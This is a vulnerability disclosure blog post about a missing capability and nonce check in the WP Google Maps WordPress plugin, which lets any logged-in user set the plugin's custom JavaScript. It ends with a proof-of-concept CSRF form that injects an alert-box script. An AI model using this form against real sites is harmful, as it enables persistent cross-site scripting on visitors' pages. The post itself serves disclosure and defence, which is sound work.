One of the things we do to keep track of vulnerabilities in WordPress plugins to provide our customers with the best data on vulnerabilities in the plugins they use is to monitor the WordPress Support Forum for topics that might relate to those. Through that we came across an authenticated settings change vulnerability that can permit persistent cross-site scripting (XSS) in the plugin WP Google Maps, which considering the plugin has 400,000+ install, is something that would be of interest to hackers.

A topic was started four days ago with the claim:

Does the latest version have any XSS vulnerabilities? WP Engine support is claiming there are.

The response from the developer earlier today, which brought the topic to our attention, is confusing to us:

Thank you for getting in touch and thank you for your concern.

This was patched in version 7.10.41 immediately after it was discovered and reported to us.

You can see their report here which confirms this.

I hope that helps?

If you follow that link it leads to a listing of a vulnerability on the website the WPScan Vulnerability Database, which that data source had nothing to do with reporting. Instead it was discovered and reported by Tim Coen. The vulnerability he found was a single reflected XSS vulnerability and it was fixed in October, so that doesn’t like it matches what is claimed that WP Engine is claiming. We couldn’t find any information on a recent claim another vulnerability of any kind in the plugin, so we had no idea what be being referred to there.

We thought it would be prudent to do some checking of our own. We first checked the plugin with our Plugin Security Checker, but it didn’t identify any possible XSS vulnerabilities. We then went to look to see if there were XSS vulnerabilities when changing the plugin’s settings and we noticed there was no protection against cross-site request forgery (CSRF) and that you could intentionally set JavaScript code to one of the settings, so there was at least a CSRF/XSS vulnerability, but then when we looked at the underlying code we found that situation is much worse, as anyone logged in WordPress can change the plugins settings.

The vulnerability has been in the plugin for nearly 11 months. It is something that a security review, like the ones we do as part of our main service and as a separate service, should not have been able to miss, so it would seem that one hasn’t been done during that time period or even earlier considering that the CSRF issue related to this has been in the plugin for many years and would certainly have been caught by our reviews.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since multiple previously full disclosed vulnerabilities were quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Details

The plugin handles the saving of its settings through the function wpgmza_settings_page_post(), which runs through an admin_post action for those logged in to WordPress:

2661

add_action('admin_post_wpgmza_settings_page_post', 'wpgmza_settings_page_post');

That function lacks either a capabilities check or a check for a valid nonce to prevent CSRF, so anyone logged in can change the plugin’s “Custom JS” setting, which means they can set custom JavaScript code that runs on the settings page or frontend pages:

2742

if (isset($_POST['wpgmza_custom_js'])) { $wpgmza->settings['wpgmza_custom_js'] = $_POST['wpgmza_custom_js']; }

Proof of Concept

The following proof concept will cause the message “XSS” to be shown in an alert box on frontend pages containing plugin’s shortcode.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php?action=wpgmza_settings_page_post" method="POST">
<input type="hidden" name="wpgmza_custom_js" value='alert("XSS")' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?